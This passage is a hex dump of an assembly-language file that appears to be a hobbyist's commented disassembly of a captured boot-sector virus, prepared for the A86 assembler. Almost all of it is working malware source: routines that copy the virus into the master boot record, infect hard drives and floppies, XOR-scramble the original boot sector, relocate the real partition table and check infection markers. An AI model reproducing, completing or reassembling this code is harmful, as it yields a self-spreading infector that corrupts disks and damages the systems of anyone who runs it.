|00002180| 73 0a 20 20 20 20 20 20 | 20 20 70 6f 70 20 20 20 |s.      |  pop   |
|00002190| 20 20 63 78 0a 20 20 20 | 20 20 20 20 20 70 75 73 |  cx.   |     pus|
|000021a0| 68 20 20 20 20 64 78 0a | 20 20 20 20 20 20 20 20 |h    dx.|        |
|000021b0| 6d 6f 76 20 20 20 20 20 | 64 6c 2c 20 5b 73 69 20 |mov     |dl, [si |
|000021c0| 2b 20 33 5d 0a 20 20 20 | 20 20 20 20 20 0a 20 20 |+ 3].   |     .  |
|000021d0| 20 20 20 20 20 20 3b 6d | 6f 76 20 20 20 20 20 77 |      ;m|ov     w|
|000021e0| 6f 72 64 20 70 74 72 20 | 65 73 3a 5b 62 78 20 2b |ord ptr |es:[bx +|
|000021f0| 20 37 34 68 5d 2c 20 64 | 78 0a 20 20 20 20 20 20 | 74h], d|x.      |
|00002200| 20 20 64 62 20 20 20 20 | 20 20 32 36 68 2c 20 38 |  db    |  26h, 8|
|00002210| 39 68 2c 20 39 37 68 2c | 20 37 34 68 2c 20 30 30 |9h, 97h,| 74h, 00|
|00002220| 0a 20 20 20 20 20 20 20 | 20 3b 2a 2a 2a 2a 65 71 |.       | ;****eq|
|00002230| 75 69 76 61 6c 65 6e 74 | 2c 20 49 20 64 69 64 20 |uivalent|, I did |
|00002240| 74 68 69 73 20 64 75 65 | 20 74 6f 20 41 38 36 20 |this due| to A86 |
|00002250| 74 72 61 6e 73 6c 61 74 | 69 6f 6e 20 62 65 69 6e |translat|ion bein|
|00002260| 67 20 61 20 6c 69 74 74 | 6c 65 0a 20 20 20 20 20 |g a litt|le.     |
|00002270| 20 20 20 3b 2a 2a 2a 2a | 64 69 66 66 65 72 65 6e |   ;****|differen|
|00002280| 74 20 74 68 61 6e 20 74 | 68 65 20 76 69 72 75 73 |t than t|he virus|
|00002290| 20 49 20 63 61 70 74 75 | 72 65 64 0a 20 20 20 20 | I captu|red.    |
|000022a0| 20 20 20 20 0a 20 20 20 | 20 20 20 20 20 70 6f 70 |    .   |     pop|
|000022b0| 20 20 20 20 20 64 78 0a | 20 20 20 20 20 20 20 20 |     dx.|        |
|000022c0| 0a 20 20 20 20 20 20 20 | 20 3b 6d 6f 76 20 20 20 |.       | ;mov   |
|000022d0| 20 20 62 79 74 65 20 70 | 74 72 20 65 73 3a 5b 62 |  byte p|tr es:[b|
|000022e0| 78 20 2b 20 37 32 68 5d | 2c 20 63 6c 0a 20 20 20 |x + 72h]|, cl.   |
|000022f0| 20 20 20 20 20 64 62 20 | 20 20 20 20 20 32 36 68 |     db |     26h|
|00002300| 2c 20 38 38 68 2c 20 38 | 66 68 2c 20 37 32 68 2c |, 88h, 8|fh, 72h,|
|00002310| 20 30 30 0a 20 20 20 20 | 20 20 20 20 3b 2a 2a 2a | 00.    |    ;***|
|00002320| 2a 65 71 75 69 76 61 6c | 65 6e 74 2c 20 49 20 64 |*equival|ent, I d|
|00002330| 69 64 20 74 68 69 73 20 | 64 75 65 20 74 6f 20 41 |id this |due to A|
|00002340| 38 36 20 74 72 61 6e 73 | 6c 61 74 69 6f 6e 20 62 |86 trans|lation b|
|00002350| 65 69 6e 67 20 61 20 6c | 69 74 74 6c 65 0a 20 20 |eing a l|ittle.  |
|00002360| 20 20 20 20 20 20 3b 2a | 2a 2a 2a 64 69 66 66 65 |      ;*|***diffe|
|00002370| 72 65 6e 74 20 74 68 61 | 6e 20 74 68 65 20 76 69 |rent tha|n the vi|
|00002380| 72 75 73 20 49 20 63 61 | 70 74 75 72 65 64 0a 0a |rus I ca|ptured..|
|00002390| 20 20 20 20 20 20 20 20 | 6d 6f 76 20 20 20 20 20 |        |mov     |
|000023a0| 77 6f 72 64 20 70 74 72 | 20 65 73 3a 5b 62 78 20 |word ptr| es:[bx |
|000023b0| 2b 20 30 31 66 65 68 5d | 2c 20 30 41 41 35 35 68 |+ 01feh]|, 0AA55h|
|000023c0| 0a 20 20 20 20 20 20 20 | 20 70 6f 70 20 20 20 20 |.       | pop    |
|000023d0| 20 63 78 0a 20 20 20 20 | 20 20 20 20 70 75 73 68 | cx.    |    push|
|000023e0| 20 20 20 20 63 78 0a 20 | 20 20 20 20 20 20 20 6d |    cx. |       m|
|000023f0| 6f 76 20 20 20 20 20 62 | 79 74 65 20 70 74 72 20 |ov     b|yte ptr |
|00002400| 65 73 3a 5b 62 78 20 2b | 20 30 30 66 32 68 5d 2c |es:[bx +| 00f2h],|
|00002410| 20 63 6c 0a 20 20 20 20 | 20 20 20 20 63 61 6c 6c | cl.    |    call|
|00002420| 20 20 20 20 77 72 69 74 | 65 5f 64 72 69 76 65 0a |    writ|e_drive.|
|00002430| 0a 65 6e 64 5f 64 6f 5f | 76 69 72 75 73 5f 74 68 |.end_do_|virus_th|
|00002440| 69 6e 67 3a 0a 20 20 20 | 20 20 20 20 20 70 6f 70 |ing:.   |     pop|
|00002450| 20 20 20 20 20 61 78 0a | 20 20 20 20 20 20 20 20 |     ax.|        |
|00002460| 72 65 74 0a 0a 6d 6f 76 | 5f 76 69 72 75 73 3a 0a |ret..mov|_virus:.|
|00002470| 0a 3b 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |.;******|********|
|00002480| 2a 2a 2a 2a 20 77 68 6f | 6c 65 20 76 69 72 75 73 |**** who|le virus|
|00002490| 20 69 6e 63 6c 75 64 69 | 6e 67 20 66 69 72 73 74 | includi|ng first|
|000024a0| 20 6a 6d 70 20 69 73 20 | 73 74 6f 72 65 64 0a 3b | jmp is |stored.;|
|000024b0| 2a 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |********|********|
|000024c0| 2a 2a 20 61 6e 64 20 61 | 63 63 65 73 73 65 64 20 |** and a|ccessed |
|000024d0| 6c 61 74 65 72 20 66 6f | 72 20 64 69 73 6b 2f 64 |later fo|r disk/d|
|000024e0| 72 69 76 65 20 69 6e 66 | 65 63 74 69 6f 6e 73 0a |rive inf|ections.|
|000024f0| 20 20 20 20 20 20 20 20 | 0a 20 20 20 20 20 20 20 |        |.       |
|00002500| 20 70 75 73 68 20 20 20 | 20 73 69 0a 20 20 20 20 | push   | si.    |
|00002510| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 64 69 2c 20 |    mov |    di, |
|00002520| 62 78 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |bx      |        |
|00002530| 20 20 20 20 3b 64 69 20 | 3d 3d 20 30 0a 20 20 20 |    ;di |== 0.   |
|00002540| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 73 69 2c |     mov|     si,|
|00002550| 20 32 30 68 20 20 20 20 | 20 20 20 20 20 20 20 20 | 20h    |        |
|00002560| 20 20 20 20 20 3b 74 68 | 69 73 20 69 73 20 77 68 |     ;th|is is wh|
|00002570| 65 72 65 20 76 69 72 75 | 73 20 73 74 61 72 74 73 |ere viru|s starts|
|00002580| 0a 20 20 20 20 20 20 20 | 20 61 64 64 20 20 20 20 |.       | add    |
|00002590| 20 64 69 2c 20 73 69 20 | 20 20 20 20 20 20 20 20 | di, si |        |
|000025a0| 20 20 20 20 20 20 20 20 | 20 3b 68 65 27 73 20 6b |        | ;he's k|
|000025b0| 65 65 70 69 6e 67 20 73 | 70 61 63 65 20 62 65 74 |eeping s|pace bet|
|000025c0| 77 65 65 6e 20 31 73 74 | 20 6a 6d 70 0a 20 20 20 |ween 1st| jmp.   |
|000025d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000025e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000025f0| 20 20 20 20 20 3b 61 6e | 64 20 74 68 65 20 76 69 |     ;an|d the vi|
|00002600| 72 75 73 20 6c 6f 61 64 | 69 6e 67 20 73 74 75 62 |rus load|ing stub|
|00002610| 20 63 6f 6e 73 74 61 6e | 74 0a 20 20 20 20 20 20 | constan|t.      |
|00002620| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00002630| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00002640| 20 20 3b 74 6f 20 66 61 | 63 69 6c 69 74 61 74 65 |  ;to fa|cilitate|
|00002650| 20 66 75 74 75 72 65 20 | 69 6e 66 65 63 74 69 6f | future |infectio|
|00002660| 6e 73 0a 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |ns.     |   mov  |
|00002670| 20 20 20 63 78 2c 20 31 | 64 63 68 20 20 20 20 20 |   cx, 1|dch     |
|00002680| 20 20 20 20 20 20 20 20 | 20 20 20 3b 77 65 27 72 |        |   ;we'r|
|00002690| 65 20 6d 6f 76 69 6e 67 | 20 74 68 69 73 20 6d 61 |e moving| this ma|
|000026a0| 6e 79 0a 20 20 20 20 20 | 20 20 20 72 65 70 7a 20 |ny.     |   repz |
|000026b0| 20 20 20 6d 6f 76 73 62 | 20 20 20 20 20 20 20 20 |   movsb|        |
|000026c0| 20 20 20 20 20 20 20 20 | 20 20 20 3b 61 6e 64 20 |        |   ;and |
|000026d0| 6d 6f 76 20 27 65 6d 0a | 0a 20 20 20 20 20 20 20 |mov 'em.|.       |
|000026e0| 20 6d 6f 76 20 20 20 20 | 20 64 69 2c 20 62 78 20 | mov    | di, bx |
|000026f0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|00002700| 20 3b 6c 69 6b 65 20 78 | 6f 72 20 64 69 2c 20 64 | ;like x|or di, d|
|00002710| 69 20 0a 20 20 20 20 20 | 20 20 20 73 75 62 20 20 |i .     |   sub  |
|00002720| 20 20 20 73 69 2c 20 73 | 69 20 20 20 20 20 20 20 |   si, s|i       |
|00002730| 20 20 20 20 20 20 20 20 | 20 20 20 3b 6c 69 6b 65 |        |   ;like|
|00002740| 20 78 6f 72 20 73 69 2c | 20 73 69 0a 0a 20 20 20 | xor si,| si..   |
|00002750| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 63 6c 2c |     mov|     cl,|
|00002760| 20 33 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | 3      |        |
|00002770| 20 20 20 20 20 3b 6d 6f | 76 73 20 74 68 65 20 66 |     ;mo|vs the f|
|00002780| 69 72 73 74 20 6a 6d 70 | 20 0a 20 20 20 20 20 20 |irst jmp| .      |
|00002790| 20 20 72 65 70 7a 20 20 | 20 20 6d 6f 76 73 62 20 |  repz  |  movsb |
|000027a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |        |        |
|000027b0| 20 20 3b 69 6e 73 74 72 | 75 63 74 69 6f 6e 21 20 |  ;instr|uction! |
|000027c0| 20 20 20 20 20 20 20 0a | 20 20 20 20 20 20 20 20 |       .|        |
|000027d0| 0a 20 20 20 20 20 20 20 | 20 70 6f 70 20 20 20 20 |.       | pop    |
|000027e0| 20 73 69 0a 20 20 20 20 | 20 20 20 20 72 65 74 0a | si.    |    ret.|
|000027f0| 3b 2a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 63 68 65 |;*******|*****che|
|00002800| 63 6b 73 20 66 6f 72 20 | 6e 75 6d 62 65 72 20 6f |cks for |number o|
|00002810| 66 20 73 65 63 74 6f 72 | 73 20 69 6e 20 6c 61 73 |f sector|s in las|
|00002820| 74 20 70 61 72 74 69 74 | 69 6f 6e 21 0a 63 68 65 |t partit|ion!.che|
|00002830| 63 6b 5f 64 61 74 61 31 | 3a 0a 20 20 20 20 20 20 |ck_data1|:.      |
|00002840| 20 20 63 6d 70 20 20 20 | 20 20 77 6f 72 64 20 70 |  cmp   |  word p|
|00002850| 74 72 20 65 73 3a 5b 62 | 78 20 2b 20 30 31 66 61 |tr es:[b|x + 01fa|
|00002860| 68 5d 2c 20 39 32 31 39 | 68 0a 20 20 20 20 20 20 |h], 9219|h.      |
|00002870| 20 20 72 65 74 0a 0a 3b | 2a 2a 2a 2a 2a 2a 2a 2a |  ret..;|********|
|00002880| 2a 2a 2a 2a 6e 6f 74 20 | 73 75 72 65 20 77 68 61 |****not |sure wha|
|00002890| 74 20 69 73 20 67 6f 69 | 6e 67 20 6f 6e 20 68 65 |t is goi|ng on he|
|000028a0| 72 65 2c 20 6f 66 66 73 | 65 74 20 31 31 39 68 20 |re, offs|et 119h |
|000028b0| 69 73 20 69 6e 20 74 68 | 65 20 70 61 72 74 69 74 |is in th|e partit|
|000028c0| 69 6f 6e 20 63 6f 64 65 | 0a 3b 2a 2a 2a 2a 2a 2a |ion code|.;******|
|000028d0| 2a 2a 2a 2a 2a 2a 74 68 | 69 73 20 61 69 6e 27 74 |******th|is ain't|
|000028e0| 20 61 20 76 69 72 75 73 | 20 49 44 0a 63 68 65 63 | a virus| ID.chec|
|000028f0| 6b 5f 64 61 74 61 32 3a | 0a 20 20 20 20 20 20 20 |k_data2:|.       |
|00002900| 20 63 6d 70 20 20 20 20 | 20 77 6f 72 64 20 70 74 | cmp    | word pt|
|00002910| 72 20 65 73 3a 5b 62 78 | 20 2b 20 31 31 39 68 5d |r es:[bx| + 119h]|
|00002920| 2c 20 36 31 35 30 68 0a | 20 20 20 20 20 20 20 20 |, 6150h.|        |
|00002930| 72 65 74 0a 0a 73 63 72 | 61 6d 62 6c 65 5f 62 6f |ret..scr|amble_bo|
|00002940| 6f 74 3a 0a 20 20 20 20 | 20 20 20 20 70 75 73 68 |ot:.    |    push|
|00002950| 20 20 20 20 64 69 0a 20 | 20 20 20 20 20 20 20 70 |    di. |       p|
|00002960| 75 73 68 20 20 20 20 63 | 78 0a 20 20 20 20 20 20 |ush    c|x.      |
|00002970| 20 20 70 75 73 68 20 20 | 20 20 61 78 0a 20 20 20 |  push  |  ax.   |
|00002980| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 64 69 2c |     mov|     di,|
|00002990| 20 62 78 0a 20 20 20 20 | 20 20 20 20 6d 6f 76 20 | bx.    |    mov |
|000029a0| 20 20 20 20 63 78 2c 20 | 32 30 30 68 0a 20 20 20 |    cx, |200h.   |
|000029b0| 20 20 20 20 20 63 6c 64 | 0a 73 63 72 61 6d 5f 6c |     cld|.scram_l|
|000029c0| 6f 6f 70 3a 20 20 20 20 | 20 20 20 20 0a 20 20 20 |oop:    |    .   |
|000029d0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 61 6c 2c |     mov|     al,|
|000029e0| 20 62 79 74 65 20 70 74 | 72 20 65 73 3a 5b 64 69 | byte pt|r es:[di|
|000029f0| 5d 0a 20 20 20 20 20 20 | 20 20 78 6f 72 20 20 20 |].      |  xor   |
|00002a00| 20 20 61 6c 2c 20 32 65 | 68 0a 20 20 20 20 20 20 |  al, 2e|h.      |
|00002a10| 20 20 73 74 6f 73 62 0a | 20 20 20 20 20 20 20 20 |  stosb.|        |
|00002a20| 6c 6f 6f 70 20 20 20 20 | 73 63 72 61 6d 5f 6c 6f |loop    |scram_lo|
|00002a30| 6f 70 0a 0a 20 20 20 20 | 20 20 20 20 70 6f 70 20 |op..    |    pop |
|00002a40| 20 20 20 20 61 78 0a 20 | 20 20 20 20 20 20 20 70 |    ax. |       p|
|00002a50| 6f 70 20 20 20 20 20 63 | 78 0a 20 20 20 20 20 20 |op     c|x.      |
|00002a60| 20 20 70 6f 70 20 20 20 | 20 20 64 69 0a 20 20 20 |  pop   |  di.   |
|00002a70| 20 20 20 20 20 72 65 74 | 0a 0a 73 65 74 5f 73 69 |     ret|..set_si|
|00002a80| 3a 0a 20 20 20 20 20 20 | 20 20 70 75 73 68 20 20 |:.      |  push  |
|00002a90| 20 20 63 73 0a 20 20 20 | 20 20 20 20 20 70 6f 70 |  cs.   |     pop|
|00002aa0| 20 20 20 20 20 64 73 0a | 20 20 20 20 20 20 20 20 |     ds.|        |
|00002ab0| 6d 6f 76 20 20 20 20 20 | 73 69 2c 20 30 30 65 61 |mov     |si, 00ea|
|00002ac0| 68 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |h       |        |
|00002ad0| 3b 6c 6f 63 61 74 69 6f | 6e 20 6f 66 20 72 65 61 |;locatio|n of rea|
|00002ae0| 6c 20 70 61 72 74 69 74 | 69 6f 6e 0a 20 20 20 20 |l partit|ion.    |
|00002af0| 20 20 20 20 63 6d 70 20 | 20 20 20 20 64 6c 2c 20 |    cmp |    dl, |
|00002b00| 38 30 68 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |80h     |        |
|00002b10| 20 20 20 20 3b 68 61 72 | 64 20 64 72 69 76 65 20 |    ;har|d drive |
|00002b20| 61 63 63 65 73 73 3f 0a | 20 20 20 20 20 20 20 20 |access?.|        |
|00002b30| 6a 62 20 20 20 20 20 20 | 65 6e 64 5f 73 65 74 5f |jb      |end_set_|
|00002b40| 73 69 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |si      |        |
|00002b50| 3b 6e 6f 3f 20 6c 65 74 | 73 20 67 6f 0a 20 20 20 |;no? let|s go.   |
|00002b60| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 73 69 2c |     mov|     si,|
|00002b70| 20 30 30 65 65 68 20 20 | 20 20 20 20 20 20 20 20 | 00eeh  |        |
|00002b80| 20 20 20 20 20 3b 68 61 | 72 64 20 64 72 69 76 65 |     ;ha|rd drive|
|00002b90| 20 69 6e 66 65 63 74 69 | 6f 6e 20 72 6f 75 74 69 | infecti|on routi|
|00002ba0| 6e 65 0a 65 6e 64 5f 73 | 65 74 5f 73 69 3a 0a 20 |ne.end_s|et_si:. |
|00002bb0| 20 20 20 20 20 20 20 72 | 65 74 0a 0a 3b 2a 2a 2a |       r|et..;***|
|00002bc0| 2a 2a 2a 2a 2a 2a 2a 2a | 49 20 74 68 69 6e 6b 20 |********|I think |
|00002bd0| 74 68 69 73 20 6c 6f 61 | 64 73 20 74 68 65 20 72 |this loa|ds the r|
|00002be0| 65 61 6c 20 70 61 72 74 | 69 74 69 6f 6e 20 77 68 |eal part|ition wh|
|00002bf0| 69 63 68 20 77 61 73 20 | 72 65 61 64 20 66 72 6f |ich was |read fro|
|00002c00| 6d 20 73 65 63 74 6f 72 | 20 32 0a 3b 2a 2a 2a 2a |m sector| 2.;****|
|00002c10| 2a 2a 2a 2a 2a 2a 2a 44 | 53 20 65 71 75 20 37 63 |*******D|S equ 7c|
|00002c20| 30 68 0a 73 65 74 5f 72 | 65 61 6c 5f 70 61 72 74 |0h.set_r|eal_part|
|00002c30| 69 74 69 6f 6e 3a 0a 0a | 20 20 20 20 20 20 20 20 |ition:..|        |
|00002c40| 70 75 73 68 20 20 20 20 | 64 69 0a 20 20 20 20 20 |push    |di.     |
|00002c50| 20 20 20 70 75 73 68 20 | 20 20 20 73 69 0a 20 20 |   push |   si.  |
|00002c60| 20 20 20 20 20 20 6d 6f | 76 20 20 20 20 20 61 6c |      mo|v     al|
|00002c70| 2c 20 62 79 74 65 20 70 | 74 72 20 65 73 3a 5b 62 |, byte p|tr es:[b|
|00002c80| 78 20 2b 20 31 34 68 5d | 0a 20 20 20 20 20 20 20 |x + 14h]|.       |
|00002c90| 20 6d 6f 76 20 20 20 20 | 20 63 78 2c 20 34 0a 6c | mov    | cx, 4.l|
|00002ca0| 6f 6f 70 5f 70 74 72 3a | 20 20 20 20 20 20 20 20 |oop_ptr:|        |
|00002cb0| 0a 20 20 20 20 20 20 20 | 20 6d 6f 76 20 20 20 20 |.       | mov    |
|00002cc0| 20 73 69 2c 20 63 78 0a | 20 20 20 20 20 20 20 20 | si, cx.|        |
|00002cd0| 64 65 63 20 20 20 20 20 | 73 69 0a 20 20 20 20 20 |dec     |si.     |
|00002ce0| 20 20 20 63 6d 70 20 20 | 20 20 20 5b 73 69 20 2b |   cmp  |   [si +|
|00002cf0| 20 30 30 66 33 68 5d 2c | 20 61 6c 0a 20 20 20 20 | 00f3h],| al.    |
|00002d00| 20 20 20 20 6a 7a 20 20 | 20 20 20 20 73 65 74 5f |    jz  |    set_|
|00002d10| 63 6c 0a 20 20 20 20 20 | 20 20 20 6c 6f 6f 70 20 |cl.     |   loop |
|00002d20| 20 20 20 6c 6f 6f 70 5f | 70 74 72 0a 20 20 20 20 |   loop_|ptr.    |
|00002d30| 20 20 20 20 6d 6f 76 20 | 20 20 20 20 63 6c 2c 20 |    mov |    cl, |
|00002d40| 33 0a 20 20 20 20 20 20 | 20 20 6a 6d 70 20 20 73 |3.      |  jmp  s|
|00002d50| 68 6f 72 74 20 20 20 62 | 79 65 0a 73 65 74 5f 63 |hort   b|ye.set_c|
|00002d60| 6c 3a 20 20 20 20 20 20 | 20 20 0a 20 20 20 20 20 |l:      |  .     |
|00002d70| 20 20 20 6d 6f 76 20 20 | 20 20 20 63 6c 2c 20 5b |   mov  |   cl, [|
|00002d80| 73 69 2b 30 30 66 37 68 | 5d 0a 62 79 65 3a 0a 20 |si+00f7h|].bye:. |
|00002d90| 20 20 20 20 20 20 20 70 | 6f 70 20 20 20 20 20 73 |       p|op     s|
|00002da0| 69 0a 20 20 20 20 20 20 | 20 20 70 6f 70 20 20 20 |i.      |  pop   |
|00002db0| 20 20 64 69 0a 20 20 20 | 20 20 20 20 20 72 65 74 |  di.   |     ret|
|00002dc0| 0a 0a 0a 73 63 72 61 70 | 73 20 20 64 62 20 20 20 |...scrap|s  db   |
|00002dd0| 20 20 20 30 35 64 68 2c | 20 37 66 68 2c 20 37 65 |   05dh,| 7fh, 7e|
|00002de0| 68 2c 20 37 62 68 2c 20 | 37 35 68 2c 20 38 39 68 |h, 7bh, |75h, 89h|
|00002df0| 2c 20 31 39 68 2c 20 39 | 32 68 2c 20 30 2c 20 30 |, 19h, 9|2h, 0, 0|
|00002e00| 2c 20 35 35 68 2c 20 30 | 61 61 68 0a 0a 0a 0a 0a |, 55h, 0|aah.....|
+--------+-------------------------+-------------------------+--------+--------+